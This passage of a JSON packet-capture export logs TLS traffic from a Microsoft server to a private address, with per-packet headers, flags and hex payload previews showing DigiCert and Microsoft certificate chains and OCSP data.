:.B\\\"\\\"&U0\\u0015B66RsgzsnT\\u001fm'P\\u001cT)M\\u001f\\u0014d\\u007fG1ey}\\u0014\\u0019v;(\\u0000Do$W\\u0007Z\\u0000XV\\u000b\\buq\\u001bS\\\"Lk]DY<$k}_JMTv(MEte\\u0010`!y_\\u0017\\u0000Y<'wV\\u0007=\\u000fY\\u0016XHl}\\u00162\\u0016-e\\u0000\\u000e\\u0002\\u001b(1w46%\\u0000\\u00050\\u00050\\u0004q\\u0003\\u0002\\u0001\\u0002\\u0002\\u0010\\u000b\\fk,Fi\\u0017GsG0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000a1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1\\u00190\\u0017\\u0006\\u0003U\\u0004\\u000b\\u0013\\u0010www.digicert.com1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017DigiCert Global Root G20\\u001e\\u0017\\r250521000000Z\\u0017\\r290619235959Z0Q1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1\\\"0 \\u0006\\u0003U\\u0004\\u0003\\u0013\\u0019Microsoft TLS RSA Root G20\\u0002\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0002\\u000f\\u00000\\u0002\\n\\u0002\\u0002\\u0001\\u0000G(\\u0010qA\\u0019Wk.:`\\u0013[2\\u000b{r'k]@\\u0018\\u0006\\r\\u0012t\\u007f/\\u00173\\u0016W |!NdZKu\\u0002\"}, {\"packet_number\": 90, \"timestamp\": 1781447327.201239, \"timestamp_iso\": \"2026-06-14T19:58:47.201239\", \"timestamp_human\": \"2026-06-14 19:58:47.201\", \"size\": 1038, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10908, \"ip_len\": 1024, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330693350, \"tcp_ack\": 1256293775, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 984, \"payload_preview\": \"644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56\", \"payload_ascii\": \"dMR\\u0004?\\u0019NE9^)g\\u0000J\\u00189\\t3A\\u0005\\u0003\\u0005uS!\\\\DL`W\\u0002\\u00042JQ?6/oL9\\u0004i\\\";u\\u0014>\\u0007A8~FH\\u001d\\u0019p\\u0018r~}lN\\u0019p\\u0011\\u0004\\u0013bk\\u001c1Kk3\\u001bJ_\\u000e\\u007f1v8?\\u0007Gl\\u0001\\u0014_\\u001fl\\u001a\\u0012*{\\u001f(.1\\u0016SLuf}\\u0001`e1r-D\\u0019Wn.er-~I\\u001dYg\\t\\u0018\\u0012mEx`j\\u0006$;sJZ\\u0011>ax\\u00130J8-X\\u0017\\u0013 6*\\u000b28\\u0012E|\\u001dbq\\u0012\\u0015\\u0001\\n\\t8B4i\\u0016sCCXO=:@8\\u0015\\fd\\u001acU\\tZ\\u0004>\\u0015d\\u0011\\u001b\\u000eMEe\\u0007%\\u001f[P\\u0004\\u001c] gyo r0u'5\\u0002\\u0003\\u0001\\u0000\\u0001\\u0001K0\\u0001G0\\u000f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00050\\u0003\\u0001\\u00010\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014H1Y1K_\\u0007yv0\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014N\\\"T \\u0018n\\u000f\\u0012\\u0006\\u001790\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010v\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004j0h0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0@\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u00024http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B\\u0006\\u0003U\\u001d\\u001f\\u0004;0907531http://crl3.digicert.com/DigiCertGlobalRootG2.crl0\\u0013\\u0006\\u0003U\\u001d \\u0004\\f0\\n0\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000\\u000b+7tK6\\u00026\\u0013\\u001bDT\\u0000A\\u001aF\\u000bv4Ub5\\fZbCJ\\u001dk\\u001d\\u0019%fyn[%$y-5_B\\txe P\\u0010j:\\u0018H\\t\\u0006u\\u0016'%Z:pl\\u0018GcS\\u000e\\u00155 =\\u0013\\u0001$\\bEVwg1BW\\u001a&CWc:{K\\u0010fgg\\tL\\u0019+\\\"=}c8,V\"}, {\"packet_number\": 92, \"timestamp\": 1781447327.201582, \"timestamp_iso\": \"2026-06-14T19:58:47.201582\", \"timestamp_human\": \"2026-06-14 19:58:47.201\", \"size\": 2345, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10909, \"ip_len\": 2331, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330694334, \"tcp_ack\": 1256293775, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2291, \"payload_preview\": \"c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007430100073f3082073b0a0100a08207343082073006092b0601050507300101048207213082071d3081c5a2160414e2cab40b0a70a5b33530fee4548669e9464f3ab8180f32303236303631333133353330385a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303631333130313330395aa011180f32303236303632313130333330395aa120301e301c06092b0601040182371504040f170d3236303631373130323330395a300d06092a864886f70d01010b05000382010100aa550eb078a29e08bac8df5600b05bfafee0bd2ce046bb47dea115de94327c9b7cdce5502bcda28117a1fb6374c3d0916a26ae229f506f47c2b168ed74f6f43bf4990f3eef1afc626d30a0f75d071024bb7d420fdabde3b61bd32c8b05d261bee4cded94bf747928adb77581ebc710def285aae9e9636eb9693b83ed90ef1ac033f29226b4f88e88261cb4e231c6717cfc83809f28050a0f3284c91dc1affcba2d089b839fae70b54c0df802e6df177de409bcc11ccd0a5f32bcbc70e99fe6f774a41cb1dbb70cadb0ef55b23bb2cbb684199b4457d6bd68101ee544dc2d0b1f4716fae8553fae32c2f5f22f5ea44d9973c7244c686bdb7824ad5852116e45e1a082053d30820539308205353082031da0030201020213430059494d74f16a9c2373d32200000059494d300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303631323135353032325a170d3236303731323135353032325a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100dbc738a417a65160b72a63a87adb53b3576fc4acbddcd68988bfbe2d3391905251046663010dc9e6d8727cabf3c5ed6431ebdf7726146c95d3df8a714507cb9426489640dbfbe781b725f40074cae608a7d8844921daeaff7e762be5dd30f8a2cb7ccde38f9b2e36687c98ebb850d50e94a89af3edc8bb56fda9aaeef4e3937631702b8715635fa73ee2a5dfa334977c0985d44d2251c22d2554f5113328d2636ab9cd49d0056a4ca9fada84279f5d9c0f15e99194dad6faf2fa4fca7a9030d1bfa85466f3bc59a036bbf3fd7f18d978147b6a0a69a7db7f6574e0300ce167410f85b89ac50aa80a36f0eef2c3b2d0ddb7abbf8e0da289a34bdeb5f560f12b010203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414e2cab40b0a70a5b33530fee4548669e9464f3ab8301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c050003820201004d4645825ff4080daccbb516d653340862f875651fe2d102254fa29eecea9270a59e4d36b90235e47e430be05480ff04846d6a4cfd1e2eedbf179500ee428669347d5471dde21bdc19cd3eebdbd2b8ba9f0641ed12753f7d27f7aec0c0aae30696bd9fd13f0fd7e1d610ce384abe13af4914f79c1e912048abee625746e86ce645b4e53f43680eb327489e55fca560447bf1db90fc45d60940549c78cfddce26d7a3dc8bf629d7f83a458ce71a0755891a42329adf14c9c19ad21bca16da2e2bbb7b594f6d47f1dd9e254938ce4e950e78ca6a33271d5a20b53aae43dfcf8124338af9e8013bd749d5c3fc13b2637c287a886697a8c1b0902ecb3e34e006a6e0df58634f60cdead0f0cf538fa9d282c91084ec4d2da3504ae35641dde9af10f32c0aa5a1a549947bab82a7b6989c34edb3a95779582ea3e0014978f2ee0496d6bb50d4212de0630dc98b8be2d880ad934491a4100bc032e8f75c713748f2eec7b8d49f8e46a1335f1eb07e543da0982ba3a2063033b9f0e0c43b0d7b757124446f0ae72074a99b717a9800582d4be8a15ef6f4a433866b044d6b855b56e054190c69c01b7029da574b8c7ed775c2c63bf4b51d2ef29d852485281b78aa1c3c8637ed98ba4bd0051205dee8bcc8f3b25e445b7961053b19a1ddacedca6aaa89011effbbe7ae39139106a6e918045d488081d7023e473c68be7ba2126d6b4720320c00016903001861043d66c052a708f55b9707c31bebfd489c91360a834307a44cab46cb99be33a23f1729691cea3f6302affaaf4fccba1b0e17c6b8f4fa560bbfcac603030aa236e8fff4a71c97aa4e251601383972029865b276dade117377ff6d4323a8a6735e570804010005303d0b1255ce4440a0b35d2705c56ebe4ca6c44df1f5b2fdff0ff7eba8e7c2697b0b116914fd1fdcc8647761c80bfdc467a4d5c7431b6faf0c934b169ba99b3173681b51f51150fa823db7bd61acd6c884ecb68ed0d6cb56f2f4e3718ece512650c5a4f07d38174563efee1988dc890eeceebc31948c6743504a62f3d3f744552f9264f6c9d93db92badfd3ce0046cadb8926ee3345c38285a5e46fc10c4e893a37424fb5635ff261fe9c3c4012c9c3e1c35022d8bc1e625e8974b8bc0b0488fec42174c0ab64ebc69c462cad96f3543191705dad113ca7fe98dc18eff5dae2e30f25f18995037d899b4a82abe26c387213692df85f616dc8d48435682466d0e000000\", \"payload_ascii\": \"\\tRomk\\bA/>1|JaFF(Wow%{);ry\\u0011Tm5+z\\u0016\\u0000\\u0007C\\u0001\\u0000\\u0007?0\\u0007;\\n\\u0001\\u0000\\u000740\\u00070\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u0007!0\\u0007\\u001d0\\u0016\\u0004\\u0014\\u000b\\np50TiFO:\\u0018\\u000f20260613135308Z000L0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014\\u0015j\\tmH\\u000bxKgW\\u0004\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe\\u0002\\u0013C\\u0000\\n\\u0003T\\u001f\\u000f\\u0000\\u0000\\u0000\\n\\u0003\\u0000\\u0018\\u000f20260613101309Z\\u0011\\u0018\\u000f20260621103309Z 0\\u001e0\\u001c\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0004\\u0004\\u000f\\u0017\\r260617102309Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000U\\u000ex\\bV\\u0000[,FG\\u00152||P+\\u0017ctj&\\\"PoGht;\\u000f>\\u001abm0]\\u0007\\u0010$}B\\u000f\\u001b,\\u0005aty(u\\u0010cni;\\u001a3&&\\u001c1q|(\\u0005\\n\\u000f2\\u001d-\\bpL\\r\\u0002\\u0017}\\t\\u001c\\n_2pt\\u001c\\fU;\\u0019DWh\\u0010\\u001eD-\\u000b\\u001fG\\u0016U?2/^Ms$Lhkx$XR\\u0011nE\\u0005=0\\u000590\\u000550\\u0003\\u001d\\u0003\\u0002\\u0001\\u0002\\u0002\\u0013C\\u0000YIMtj#s\\\"\\u0000\\u0000\\u0000YIM0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000W1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1(0&\\u0006\\u0003U\\u0004\\u0003\\u0013\\u001fMicrosoft TLS G2 RSA CA OCSP 040\\u001e\\u0017\\r260612155022Z\\u0017\\r260712155022Z0n1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u000b0\\t\\u0006\\u0003U\\u0004\\b\\u0013\\u0002WA1\\u00100\\u000e\\u0006\\u0003U\\u0004\\u0007\\u0013\\u0007Redmond1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017TLS-G2-RSA-04 OCSP Cert0\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u00008\\u0017Q`*czSWo-3RQ\\u0004fc\\u0001\\rr|d1w&\\u0014lqE\\u0007&H@%\\u0000t\\bI!~v+0|.6h|P\\u000eVv1p+\\u0015c_>4|\\tM\\\"Q-%T\\u00113(cjI\\u0005jL']\\u000f\\u0015Oz0TfY6\\u007f\\u0018x\\u0014{j\\ni\\u007fet0\\fgA\\u000f\\n\\n6\\rK`+\\u0001\\u0002\\u0003\\u0001\\u0000\\u000100\\f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00020\\u00000\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\t0\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014\\u000b\\np50TiFO:0\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe0\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00070<\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0007\\u0004/0-\\u0006%+\\u0006\\u0001\\u0004\\u00017\\u0015\\b\\u001bF.\\f\\u001d]\\\"\\u001f\\u0002\\u0001d\\u0002\\u0001\\u00180\\u001b\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\n\\u0004\\u000e0\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\t0\\u000f\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0005\\u0004\\u0002\\u0005\\u00000\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000MFE_\\b\\r\\u0016S4\\bbue\\u001f\\u0002%OpM6\\u00025~C\\u000bT\\u0004mjL\\u001e.\\u0017\\u0000Bi4}Tq\\u001b\\u0019>\\u0006A\\u0012u?}'\\u0006?\\u000f\\u00108J\\u0013I\\u0014\\u001e HbWFlE?Ch\\u000e'HU`D{E\\t@Tx&):E\\u001a\\u0007U\\u001aB2\\u0014\\u001b\\u0016.+{YOmG%I8N\\u000exj3'\\u001dZ :C$3\\u0001;I\\u0013c|(zf.>4\\u0006XcO`S\\u0010M-PJVA\\u0010,\\nI{4WyX.\\u0001Ix\\u0004P!-c\\rD\\u0010\\u000b2\\\\q7HF3_\\u001e~T=+\\u000603;\\r{uq$Do\\n tqz\\u0000X-K^3k\\u0004Mk[VT\\u0019\\fi\\u001bp)WK~u;\\u001d.$(\\u001bx\\u001c<7K\\u0005\\u0012\\u0005^D[ya\\u0005;\\u0019j\\u0001\\u001e9\\u0013\\u0006\\u0018\\u0004]H\\u0002>G<h{\\u0012mkG 2\\f\\u0000\\u0001i\\u0003\\u0000\\u0018a\\u0004=fR\\b[\\u0007\\u001bH6\\nC\\u0007LF3?\\u0017)i\\u001c?c\\u0002O\\u001b\\u000e\\u0017V\\u000b\\u0003\\u0003\\n6\\u001cN%\\u0016\\u000189r\\u0002ev\\u0011swmC#s^W\\b\\u0004\\u0001\\u0000\\u00050=\\u000b\\u0012UD@]'\\u0005nLM\\u000fi{\\u000b\\u0011i\\u0014\\u001fdwa\\u000bgC\\u001bo\\fK\\u00161sh\\u001bQ\\u0011P=aVqQ&P}8\\u0017Ec\\u0019\\u000e1gCPJbDU/d=+<\\u0004ln4\\\\8(Z^F\\u0010t$V5&\\u001f\\u0001,>\\u001c5\\u0002-%KHB\\u0017L\\nNibo5C\\u0019\\u0017\\u0005\\u0013\\u007f].0_\\u0018P7*&!6\\u0016HCVFm\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 95, \"timestamp\": 1781447327.209752, \"timestamp_iso\": \"2026-06-14T19:58:47.209752\", \"timestamp_human\": \"2026-06-14 19:58:47.209\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10911, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330696625, \"tcp_ack\": 1256293933, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 101, \"timestamp\": 1781447328.018237, \"timestamp_iso\": \"2026-06-14T19:58:48.018237\", \"timestamp_human\": \"2026-06-14 19:58:48.018\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10912, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330696625, \"tcp_ack\": 1256293933, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"dc29793e91800a770d9725f9e27f0d1f6845e25be59b21b5415a7c6941a9c381\", \"payload_ascii\": \")y>\\nw\\r%\\u007f\\r\\u001fhE[!AZ|iA\"}, {\"packet_number\": 104, \"timestamp\": 1781447328.019881, \"timestamp_iso\": \"2026-06-14T19:58:48.019881\", \"timestamp_human\": \"2026-06-14 19:58:48.019\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10913, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330697052, \"tcp_ack\": 1256294020, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 106, \"timestamp\": 1781447328.019969, \"timestamp_iso\": \"2026-06-14T19:58:48.019969\", \"timestamp_human\": \"2026-06-14 19:58:48.019\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10914, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330697052, \"tcp_ack\": 1256294136, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 108, \"timestamp\": 1781447328.020022, \"timestamp_iso\": \"2026-06-14T19:58:48.020022\", \"timestamp_human\": \"2026-06-14 19:58:48.020\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10915, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330697052, \"tcp_ack\": 1256294174, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 109, \"timestamp\": 1781447328.5346, \"timestamp_iso\": \"2026-06-14T19:58:48.534600\", \"timestamp_human\": \"2026-06-14 19:58:48.534\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10916, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330697052, \"tcp_ack\": 1256294174, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 117, \"timestamp\": 1781447329.411533, \"timestamp_iso\": \"2026-06-14T19:58:49.411533\", \"timestamp_human\": \"2026-06-14 19:58:49.411\", \"size\": 1168, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10917, \"ip_len\": 1154, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330697090, \"tcp_ack\": 1256294174, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 120, \"timestamp\": 1781447329.414452, \"timestamp_iso\": \"2026-06-14T19:58:49.414452\", \"timestamp_human\": \"2026-06-14 19:58:49.414\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10918, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330698204, \"tcp_ack\": 1256294238, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 121, \"timestamp\": 1781447330.15599, \"timestamp_iso\": \"2026-06-14T19:58:50.155990\", \"timestamp_human\": \"2026-06-14 19:58:50.155\", \"size\": 718, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10919, \"ip_len\": 704, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330698204, \"tcp_ack\": 1256294238, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 124, \"timestamp\": 1781447330.158148, \"timestamp_iso\": \"2026-06-14T19:58:50.158148\", \"timestamp_human\": \"2026-06-14 19:58:50.158\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10920, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330698868, \"tcp_ack\": 1256294308, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 125, \"timestamp\": 1781447330.790098, \"timestamp_iso\": \"2026-06-14T19:58:50.790098\", \"timestamp_human\": \"2026-06-14 19:58:50.790\", \"size\": 682, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"52.97.201.82\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10921, \"ip_len\": 668, \"ip_flags\": 